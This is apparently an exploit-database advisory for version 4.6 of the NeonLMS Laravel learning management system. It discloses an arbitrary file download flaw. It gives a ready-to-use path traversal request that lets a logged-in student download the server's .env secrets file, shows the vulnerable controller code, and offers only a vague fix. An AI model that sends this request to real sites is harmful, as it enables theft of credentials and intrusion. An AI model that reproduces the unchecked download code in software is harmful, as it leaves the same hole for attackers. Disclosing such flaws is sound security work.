NeonLMS Learning Management System PHP Laravel Script 4.6 File Download

NeonLMS Learning Management System PHP Laravel Script version 4.6 suffers from an arbitrary file download vulnerability.

MD5 | e762859b96e7391cb7c4d0f1d5bc1371

Download

# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Arbitrary' File Download
# Exploit Author: th3d1gger
# Google Dork: N/A
# Type: Web App
# Date: 2020-06-04
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6 
# Tested on: Windows
# CVE : N/A

#Vulnerable Request:
After Authentication as student,
browse https://neonlmshost/laravel-filemanager/download?file=/../../../.env

#Vulnerable code



\vendor\unisharp\laravel-filemanager\src\Controllers\DownloadController.php

    public function getDownload()
    {


            return response()->download(parent::getCurrentPath(request('file')));


    }

#fix
maybe devteam can use "auth user role check" in that function.
or can update it.

Source: packetstormsecurity.com